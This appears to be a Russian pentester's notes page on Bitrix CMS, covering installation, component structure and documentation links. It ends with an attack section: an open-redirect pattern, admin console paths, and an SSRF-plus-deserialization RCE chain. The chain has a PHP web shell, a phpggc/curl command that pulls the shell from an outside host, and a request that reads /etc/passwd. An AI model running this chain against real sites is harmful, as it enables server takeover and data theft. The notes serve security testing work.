Bitrix
Src
link: https://doc.budagov.ru/
Git с bitrix разных версий: https://github.com/avshatalov48/bitrix-core-business
Установка
BitrixVM
Самой простой способ установить – поставить BitrixVM. Скачиваем с офф сайта Centos образ (OVA). Открываем в VMWare, даем доступ к сети для виртуалки.
Запускаем, дефолтные кредсы – root/bitrix
и bitrix/bitrix
. Меняем пароль для обоих пользователей.
Настраиваем Management Pool (1 опция в следующем меню): указываем любой виртуальный хост и если сетка работает, то все ок. Что бы выйти в консоль на тачке, много раз выбираем опцию 0.
Теперь заходим по IP с хостовой системы и устанавливаем Bitrix CMS (Бизнес, демо доступ, и ставим сайт для разработчика).
Теперь у нас по пути /home/bitrix/www
инсталяция битры. /home/bitrix/www/bitrix
— здесь ядро битрикса со всеми плагинами.
Как узнать какая версия ядра битры у вас:
В админке битры прокрутить в самый низ страницы
Параметр
SM_VERSION
в сорцах (modules/main/classes/general/version.php
)
Легкий способ забрать сорцы с тачки (чтобы не мучаться с открытием портов на centos): запаковать папку соответствующую, в админке в разделе управления контентом забрать из файлового менеджера.
Digital Ocean
Поднял VM на Centos 7.
$ sudo yum install wget
$ wget http://repos.1c-bitrix.ru/yum/bitrix-env.sh
$ chmod +x bitrix-env.sh
$ ./bitrix-env.sh
Установка завершена. Необходимо провести первоначальную настройку.
Запускаем оболочку BitrixVM командой
$ /root/menu.sh
После смены пароля откроется меню оболочки. Для продолжения работы нужно создать пул (чтобы можно было размещать сайты). Вводим «1» и жмем «Enter».
В открывшейся форме вводим имя сервера (можно просто нажать «Enter», чтобы оставить имя по умолчанию). После нажатия «Enter» — пул создан. Жмем любую кнопку для выхода в уже полноценное меню BitrixVM. Меню BitrixVM выглядит так:
Для создания нового сайта или переноса существующего, переходим в браузере по адресу привязанного к VPS домена (или по IP-адресу VPS, первый вариант предпочтительнее) и выбираем «Установить» или «Восстановить копию».
Другие способы установки
Вроде как можно автоматизировать развертку битры на своей впс'ке (https://handyhost.ru/help/poleznyie-stati/bitrixvm.html через bitrix-env)
Можно использовать PHP-скрипт bitrixsetup, он же используется в проекте bitrixdock (ребята обернули все необходимое окружение в Docker, подходит для разворачивания демки; https://github.com/bitrixdock/bitrixdock) Правда у меня не вышло ни на хостовой системе, ни на DO: возможно я что-то с окружением напутал, или надо подправить их конфиг, хз (TODO).
Что внутри
Ядро
Ядро продукта - файлы, находящиеся в директории /bitrix/modules/
а так же файлы системных компонентов: /bitrix/components/bitrix/
.
Компоненты
Компонент — то, что пишет уже разработчик — независимая функциональность (= библиотека).
Папка компонента может содержать следующие подпапки и файлы:
подпапку /lang, в которой расположены файлы языковых сообщений (переводов) компонента. В ней также могут размещаться папки помощи /help.
подпапку /templates, в которой расположены шаблоны вывода (отображения) компонента. Эта подпапка может отсутствовать, если у компонента нет шаблонов вывода.
файл component.php, который содержит логику (код) компонента. Задача этого файла - сформировать из полученных параметров ($arParams) массив $arResult, который впоследствии попадет в шаблон компонента. Этот файл должен присутствовать в папке компонента, если только логика компонента не размещена в файле class.php.
файл .description.php, который содержит название, описание компонента и его положение в дереве логического размещения (для редактора). Этот файл должен всегда присутствовать в папке компонента. Его отсутствие не скажется на работе компонента, но размещение компонента через визуальный редактор станет невозможным.
файл .parameters.php, который содержит описание входных параметров компонента для редактора. Если у компонента есть входные параметры, то этот файл должен присутствовать в папке компонента.
файл class.php для поддержки ООП-компонентов. В этом файле так же может размещаться логика (код) компонента.
файл script.js, может подключаться из шаблона, а может из кода компонента .
любые другие папки и файлы с ресурсами, необходимыми компоненту, например, папка /images.
Компоненты в Bitrix Framework должны храниться только в определенных местах:
в папке
/bitrix/components/bitrix
(по умолчанию);в папке
/bitrix/components/собственное пространство имен
.в папке
/local/components/
(рекомендуется для собственных компонентов сторонних разработчиков)
Все компоненты находятся в папке /bitrix/components/
. Системные компоненты находятся в папке /bitrix/components/bitrix/
. Содержимое этой папки обновляется системой обновлений и не может изменяться пользователями.
Пользовательские компоненты могут находиться в любых других подпапках папки /bitrix/components/
или прямо в папке /bitrix/components/
, но рекомендуется папка /local/components/
.
Подключение:
В самом общем виде подключение компонента осуществляется следующим образом:
<?$APPLICATION->IncludeComponent(
$componentName, // имя компонента
$componentTemplate, // шаблон компонента, пустая строка если шаблон по умолчанию
$arParams=array(), // параметры
$parentComponent=null, // null или объект родительского компонента
$arFunctionParams=array()
);?>
Docs
Курс от компании битрикс для разработчиков: https://dev.1c-bitrix.ru/learning/course/index.php?COURSE_ID=43&INDEX=Y
Документация по продукту 1С-Битрикс Управление сайтом: http://dev.1c-bitrix.ru/user_help/
Документация для разработчиков: http://dev.1c-bitrix.ru/api_help/
Документация для разработчиков по Rest API: http://dev.1c-bitrix.ru/rest_help/
Про битрикс с точки зрения экосистемы: https://habr.com/ru/post/282333/
Заход через регистрацию
Link: https://t.me/webpwn/345
Open Redirect
Будет предупреждение. Как бы все ок, но все же
https://<domain>/<path>/bitrix/redirect.php?goto=<redirect>
Внутри консоли PHP и SQL
Можно проверять на доступ к функциям специфичным (например, shell_exec)
https://<domain>/bitrix/admin/sql.php
https://<domain>/bitrix/admin/php_command_line.php
Настройки
Настройки смотреть здесь: https://<domain>/bitrix/admin/settings.php
В Bitrix есть компонент — Сканер безопасности. Он выдает толковые вещи и рекомендации по устранению:
https://<domain>/bitrix/admin/security_scanner.php
Проверить, не палит ли бэкапы:
/bitrix/backup/
SSRF + Deser = RCE
Версии ядра «Битрикс» до 20.0.975
содержат уязвимость типа SSRF, которая в комбинации с небезопасной десериализацией позволяет выполнить произвольный код в контексте операционной системы.
$ cat payload
<?php system($_REQUEST['some_s3cr3t_post_param_for_rce']); ?>
$ php phpggc Bitrix/RCE2 system 'curl http://my.domain.com/payload -o /var/www/some.domain.bitrix.com/bitrix/tools/test_23235235.php' -b
Таким образом по пути /var/www/some.domain.bitrix.com/bitrix/tools/test_23235235.php загружен шелл
Делаем запрос:
POST /bitrix/tools/test_23235235.php HTTP/1.1
Host: some.domain.bitrix.com
some_s3cr3t_post_param_for_rce=cat /etc/passwd
Last updated
Was this helpful?